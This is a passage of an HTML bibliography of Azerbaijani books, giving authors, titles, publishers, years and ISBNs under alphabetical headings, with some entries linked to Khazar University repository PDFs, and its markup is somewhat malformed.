margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union with the finansical assistance of usaid through eurasia foundation - april 29, 2005. ISBN: 9952408110</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union with the finansical assistance of usaid through eurasia foundation - July 15, 2005. ISBN: 9952408153</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hesse, H. Demian. Bakı: Qanun, 2012. ISBN: 9789952262964</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hiebert, R. Kütləvi informasiya vasitələri VI: müasir kommunikasiyaya giriş. Bakı: Xəzər Universitəsi, 2005. ISBN: 9952200307</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hicran, V. Mən kiməm. Bakı: ISBN: 9952810165</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hophopnamə. Bakı: Turan nəşrlər evi, 2002. ISBN: 9952405001</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüquq və Gənclik. ISBN: 9952250312</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, H. Qərb-Şərq münasibətləri xristian və islam təfəkkürü baxımından. Bakı: Təknur, 2005. ISBN: 9952428006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, H. XIX əsr Azərbaycan ictimai və fəlsəfi fikir tarixindən. Bakı: Zəkioğlu, 2006. ISBN: 9952808018</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, R. Məhsəti Gəncəvi – özü, sözü, izi. Bakı: Nurlan, 2005. ISBN: 9952806000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynova, A. Müsiqi: səmimiyyət məbədi. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230052</p><hr noshade=\"noshade\"><strong>X</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xalilov, İ. Teatr və kino. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230044</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1891/1/Ali%20Rza%20Xelefli%20enson23.pdf\"><strong>Xələfli, Ə. Həyatın dastanı.</strong></a>&nbsp;Bakı: Xəzər Universiteti Nəşriyyatı, 2012. ISBN: 9789952200713</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlil, Z. Dünyanın ən balaca nağılları. Bakı: Nağıl Evi, ISBN: 9952210043</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlilov, S. Fəlsəfə Tarix və Müasirlik. Bakı: Azərbaycan Universiteti, 2006. ISBN: 9952805020</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlilov, S. Şərq və Qərb. Bakı: Azərbaycan Universiteti, 2004. ISBN: 9952805004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlilov, S. Təhsil, təlim, tərbiyə. Bakı: Azərbaycan Universiteti, 2005. ISBN: 9952805012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xüsusi Qayğıya möhtac uşaqların erkən yaş dövrü proqramlarına daxil edilməsi. Bakı Məmmədli&nbsp;şirkəti, 2000. ISBN: 9952400047</p><hr noshade=\"noshade\"><strong>İ</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İbadov, Q. Büdcə bələdçisi. Bakı: ISBN: 9952803109</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İbadov, R. Avropa ittifaqının əsasları. Bakı, 2004. ISBN: 9952805306</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İbrahimli, X. Yeni Avrasiya Qafqazı. Bakı: Xəzər Universitəsi, 2000. ISBN: 9952200005</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İctimai dinləmə: metodiki vəsait. Bakı: “Ekspert” jurnalı, 2004. ISBN: 9952803136</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İctimai siyasət institutları. Bakı: Yeni Nesil, 2002. ISBN: 9952240090</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnam Ata. On kutsal Bitiq. 4-cü hissə. Bakı: Qanun, 2012. ISBN: 9789952263114</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnsan hüquqlarının müdafiəsi: BMT sistemi Avropa sistemi ölkədaxili mexanizmlər. Bakı: Adiloğlu, 2004. ISBN: 9952250129</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnkişafetdirici tapşırıqlar. Bakı: ISBN: 9952809114</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irfan №5. Bakı: 2006. ISBN: 9952808292</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irfan №7. Bakı: 2006. ISBN: 9952808377</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irzabekova,Y. An Anthology of Soviet Yiddish Music. Baku, 2001. ISBN: 9952402015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İrzabekova,Y. Jewish Songs and Dances. Baku: Yeni Nesil, 2001. ISBN: 9952240007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irzabekova,Y. Melodies of Yiddish Shtetlakh. Baku: Yeni Nesi, 2001. ISBN: 9952240066</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1031/1/Biblioqrafiya%20Hamlet%20edited%20by%20Martha.pdf\"><strong>Hamlet İsaxanlı : Biblioqrafiya. Alim, Qurucu, Şair - Hamlet Isaxanli : Bibliography. Scholar, Founder, Poet.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200485</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\"><strong>İsaxanlı, H. Bu da bir həyatdı</strong></a>. Bakı: Xəzər Universitəsi, 2004. ISBN: 9952200188</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1480\"><strong>İsaxanlı, H. Dördlüklər.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2007. ISBN: 9789952200453</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1013/1/In%20search%20of%20Khazar.pdf\"><strong>İsaxanli, H. In Search of “Khazar”.</strong></a>&nbsp;Baku: Khazar University Press, 2006. ISBN: 9789952200348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1827/1/ALITHS20082012.pdf\"><strong>İsaxanlı, H. Müasir dünyada ali təhsil sistemində nələr baş verir və \"2008-2012-ci illərdə Azərbaycan Respublikasının ali təhsil sistemində islahatlar üzrə Dövlət Proqramı \" necə olsa yaxşıdır ?.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200447</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1001/1/on%20education%20system_Isaxanli.pdf\"><strong>İsaxanli, H. On education system in transition economy : A view from Azerbaijan.</strong></a>&nbsp;Baku: Khazar University Press, 2006. ISBN: 9789952200379</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsaxanlı, H. Ömür poeziyası. Bakı: Xəzər Universitəsi, ISBN: 995220017X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1463/1/Tezadlar%20new%20version.pdf\"><strong>İsaxanlı, H. Təzadlar</strong></a>. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200021</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1490/1/ziyaret%20dezen%20son.pdf\"><strong>İsaxanlı, H. Ziyarət.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2009. ISBN: 9952200492</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1465\"><strong>İsaxanlı, İ. Azərbaycanda latın əlifbasına keçid və Fərhad Ağazadə.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200591</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1291\"><strong>İsaxanlı, İ. Klassik rus poeziyasından nümunələr.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 978995220645</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1005\"><strong>İsaxanlı, İ. Şeir gülüstanının təkrarolunmaz çiçəyi - Serqey Yesenin.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200676</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsak, İ. Canım sənə desin. Bakı: Qanun, 2012. ISBN: 9789952263046</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İslam, inam, ibadət. Bakı: ISBN: 9952808308</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayılov, Ç. Xəzər dənizinin və sahilyanı ərazilərin ekologiyası. Bakı: Ayna Mətbuat Evi, 2005. ISBN: 9952230184</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayilov, Ç. Neft: dünyamızın şah damarı. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230079</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/995\"><strong>İsmayılzadə, Q. Arxeoloqun çöl gündəliyindən.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2009. ISBN:</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İşgəncələrə və qəddar qeyri insani yaxud ləyaqəti alcaldan davranış və cəza növləri əleyhinə Konvensiya -2004. ISBN: 9952408021</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İzahlı reklam lüğəti. Bakı: Bakı nəşriyyatı, 2004. ISBN: 9952430020</p><hr noshade=\"noshade\"><strong>K</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kamyu, A. Taun. Bakı: Qanun, 2012. ISBN: 9789952263190</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kavas, İ. ÜTT-yə üzv olma -ÜTT-yə üzv olma. ISBN: 995250371</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kazımzadə, A. Əbədi ölməzlik zirvəsi. Bakı: EL, 2005. ISBN: 9952810121</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kərimov, M. Azərbaycan musiqi alətləri. ISBN: 9952240244</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kərimzadə, F. Xudafərin körpüsü. Bakı: Qanun, 2012. ISBN: 9789952262988</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khazar English-Azerbaijani comprehensive dictionary: in 6 volumes. V.1. Baku: Khazar University&nbsp;Press, 2004. ISBN: 995220020X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khazar English-Azerbaijani comprehensive dictionary: in 6 volumes. V.2. Baku: Khazar University&nbsp;Press, 2004. ISBN: 9952200218</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kitab nəşri biznesi-menecment treyninq kursu. Bakı: Qərb Universiteti, 2002. ISBN: 9952404006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1119/1/kitabi%20dedem%20qorqud.pdf\"><strong>Kitabi Dədəm Qorqud.</strong></a>&nbsp;ISBN: 9952200129</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kitabi-Dədə Qorqud aşiqi. . Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200123</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kommersiya hüququ üzrə praktikum. Bakı: Patronat – S şirkəti, 2003. ISBN: 9952409127</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kommersiya hüququ. Bakı: Patronat – S şirkəti, 2003. ISBN: 9952409135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Korrupsuyaya qarşı mübarizə haqqında sənədlər toplusu. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 995240813X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khalilov, S. Phenomenology of life or life of idea.&nbsp;&nbsp;Baku: Azerbaijan University Press,&nbsp; 2012. ISBN: 9789952814736</p><hr noshade=\"noshade\"><strong>Q</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaçqın statusunun müəyyənləşdirilməsi proseduraları və meyyarları üzrə təlimat kitabı. ISBN: 9952408072</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qanadlansın nəğməmiz çoxsəsli uşaq xoru üçün mahnadar. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200080</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qanın klinik istifadəsi və təhlükəsizliyi. Bakı: EI Alliance, 2001. ISBN: 9952290535</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qarabağ dünən, bu gün və sabah (III buraxılış). Bakı: Qarabağ Azadlıq Təşkilatı, 2004.ISBN: 9952802528</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qarabağ dünən, bu gün və sabah (IV buraxılış). Bakı: Qarabağ Azadlıq Təşkilatı, 2005.&nbsp;ISBN: 9952802536</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qarabağ dünən, bu gün və sabah. Bakı: Qarabağ Azadlıq Təşkilatı, 2003. ISBN: 9952802501</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraqızı, U. Azərbaycan filmlərinin yaranma tarixindən : I kitab. Bakı: EL, 2006. ISBN: 9952810127</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraoğlu, F. Peyğəmbərimiz Hz.Məhəmmədin həyatı. Bakı: CBS, 2006. ISBN: 9952808135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qardaşxanqızı, R. Arzularımın Səni. Bakı: Qanun, 2012. ISBN: 9789952263060</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov, R. İnformatika sabaha açılan pəncərə. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230095</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımova, Y. Genderin aktual informasiya mənbələri. AREAT, 2003. ISBN: 9952802102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımzadə, A. Orta Kür çökəkliyinin və Böyük Qafqazın Vəndam zonasının mezozoy kompleksinin&nbsp;stratifikasiyası. Bakı: EI Alliance, 2002. ISBN: 9952290063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qastroenterologiya istifadə olunan dərman vasitələri. Bakı: Bakfarmbüro, 2002. ISBN: 9952800800</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədirov, Ş. İkinci qarabağ müharibəsi. ISBN: 995250436</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qırızlı, Ş. Qardaş körpüsü : seçilmiş əsərlər. Bakı: EI Alliance, 2005. ISBN: 9952290330</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, C. Azərbaycan Respublikasının cəza-icra hüququ. Bakı: Hüquq ədəbiyyatı, 2012. ISBN: 9789952460063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyeva, L. Balina və gəmiçilik. Bakı: Nağıl Evi, 2001. ISBN: 9952210019</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyeva, L. Maymaq qaragöz. Bakı: Nağıl Evi, 2002. ISBN: 9952210051</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qurbanov, Y. Ümumi kliniki-laborator üsullarının tədrisinə dair. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quşlar. Bakı: Tutu, 2005. ISBN: 9952410012</p><hr noshade=\"noshade\"><strong>L</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Le Bon, G. Kütlə psixologiyası. Bakı : Zəkioğlu, 2006. ISBN: 9952808001</p><hr noshade=\"noshade\"><strong>M</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Makedoniyalı İskəndər. Bakı: Yeni Nəsil, 2001. ISBN: 9952240015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Media və hakimiyyət. Bakı: Yeni Nəsil, 2002. ISBN: 9952240198</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdi, F. Dilən, professor, utanma, dilən. Bakı, 2002. ISBN: 995280251X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\">Məhəmməd Əmin Rəsulzadə və ictimai-siyasi ideallar: M. Ə. Rəsulzadənin 120-illiyinə həsr olunmuş</a>&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\"><strong>elmi konfransın materialları, 28 yanvar 2004-cü il.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2003. ISBN: 9952200285</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məhərrəmov, A. Neft kimyası və neft-kimyəvi sintez. Bakı: Çaşıoğlu, 2003. ISBN: 9952270089</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məişət zorakılığının qarşısının alınması haqqında Azərbaycan respublikası qanununun komentariyası. Bakı: Azərbaycan hüquqşünaslar konfederasiyası, 2011. ISBN: 9789952807998&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məktəb və ailə əməkdaşlığı. Bakı: Məmmədli şirkəti, 2000. ISBN: 9952400039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məlikov, R. Məktəblinin tarix lüğəti. Bakı: Ayna Mətbuat Evi, 2005. ISBN: 9952230133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədli, Z. Bu da mən. Bakı: Тutu, 2001. ISBN: 9952401000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, R. Gürcüstanda Azərbaycan mətbuatı və ədəbi mühit. Bakı: Xəzər Universitəsi, 2000. ISBN: 9952200064</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1099/1/Nijat_book.pdf\"><strong>Mikayilzade, N. Human Physiology : Lectures.</strong></a>&nbsp;Baku: Khazar University Press, 2004. ISBN: 9952200277</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" 